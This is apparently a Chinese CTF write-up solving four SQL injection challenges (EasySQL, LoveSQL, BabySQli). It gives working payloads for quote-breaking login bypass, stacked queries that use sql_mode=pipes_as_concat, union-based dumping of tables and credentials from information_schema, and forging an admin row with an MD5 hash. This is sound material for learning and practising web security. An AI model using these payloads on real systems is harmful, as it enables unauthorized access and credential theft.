[极客大挑战 2019]EasySQL
进行简单的尝试,就知道是单引号的字符型注入
![](https://file.jishuzhan.net/article/1725503941149462529/89fff2a54be4e9d4636cea05fe379ac7.webp)
万能密码进行一个简单的尝试
结果就出来了
![](https://file.jishuzhan.net/article/1725503941149462529/70cd458205948b3aaf4b43057799b4c1.webp)
还是要了解一下原理
输入的是1'
,形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。
[SUCTF 2019]EasySQL
当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有
我们就直接尝试一下命令
1;show databases;
![](https://file.jishuzhan.net/article/1725503941149462529/9a1a18b7cdda5a7d957a7381153f9c3e.webp)
1;show tables; 发现一个表为flag
![](https://file.jishuzhan.net/article/1725503941149462529/a43e1e5553d2880383d1e188ecb088c9.webp)
猜答案应该就会在flag表中,那么就可以查一下看看
1;show columns from Flag (1;show columns from用来查询表中列名称)
![](https://file.jishuzhan.net/article/1725503941149462529/527fc3b9d5839cbabd58e1244ad42034.webp)
没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。
修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;
也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能
让 ||
变成类似 concat()
函数
看看后台的查询语句
$sql = "select ".$post['query']."||flag from Flag";
区别
在MySQL中,操作符||表示"或"逻辑 也就是只要有一个为真就可以为真了。
mssql中||表示连接操作符,不表示或的逻辑
union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。
payload
1;set sql_mode=pipes_as_concat;select 1
![](https://file.jishuzhan.net/article/1725503941149462529/2ad1458a58f84dc81370ede17c780bef.webp)
非预期
尝试之后就会发现没有过滤*
payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag
先查找全部,再去查找1
最后也是可以拿到结果的
[极客大挑战 2019]LoveSQL
尝试一下万能密码
![](https://file.jishuzhan.net/article/1725503941149462529/41fa7e2904d19d28755e83e725207743.webp)
看看回显位置
1' union select 1,2,3#
发现是在2和3 回显
字段
1'order by 4#
![](https://file.jishuzhan.net/article/1725503941149462529/a7f538ad07839a00f6c59ef0856ff361.webp)
只有三个字段
数据库
1' union select 1,database(),version()#
![](https://file.jishuzhan.net/article/1725503941149462529/dfaf3bcd2546545b951235ecb641c84c.webp)
表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
![](https://file.jishuzhan.net/article/1725503941149462529/39ada0131d7b2df3894884180281b7c4.webp)
发现有二张表
geekuser
l0ve1ysq1
先看第一个
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
![](https://file.jishuzhan.net/article/1725503941149462529/e80c80fbfef3c9424d145628478d517d.webp)
下一个也是一样的
也是先读取第一张表的内容
1' union select 1,2,group_concat(id,username,password) from geekuser#
![](https://file.jishuzhan.net/article/1725503941149462529/44c42f9bccce7fa5ac8931e02042347d.webp)
下一张表的内容
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
![](https://file.jishuzhan.net/article/1725503941149462529/23b354f47dd14504c78d0f434fc97166.webp)
发现这一张表的内容有许多,在后面就会发现答案。
[GXYCTF2019]BabySQli
![](https://file.jishuzhan.net/article/1725503941149462529/1833d199ca57635d92c40d74a4e4fe42.webp)
看看源代码
![](https://file.jishuzhan.net/article/1725503941149462529/2cf0224dc6a66bb083b06b2a6bef0c51.webp)
base32后base64
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号
![](https://file.jishuzhan.net/article/1725503941149462529/c329ac98bcc50a632e3871aeaa879f46.webp)
到这里就暂时没有思路了
先看看列数
1' order by 1,2,3#
是不是被过滤了,大写看看
![](https://file.jishuzhan.net/article/1725503941149462529/46ef4d53f887c4a2d3c7e00568604ce4.webp)
就知道有三列,并且还过滤了order
回显位置
1' union select 1,2,3#
![](https://file.jishuzhan.net/article/1725503941149462529/9d2f6b6515e6ba7da36d8985a505ae20.webp)
利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
eg
select * from user where username = 'wxs' union select 1,'admin','123456';
临时创建了一个admin用户,密码是123456
那就可以随便构建一个密码
123456
MD5 e10adc3949ba59abbe56e057f20f883e
payload
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
![](https://file.jishuzhan.net/article/1725503941149462529/4b79f7724b7ad655f6fa9aae1084578a.webp)
![](https://file.jishuzhan.net/article/1725503941149462529/1e25292a7b71c1dd9119d8bfd40665cd.webp)
数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag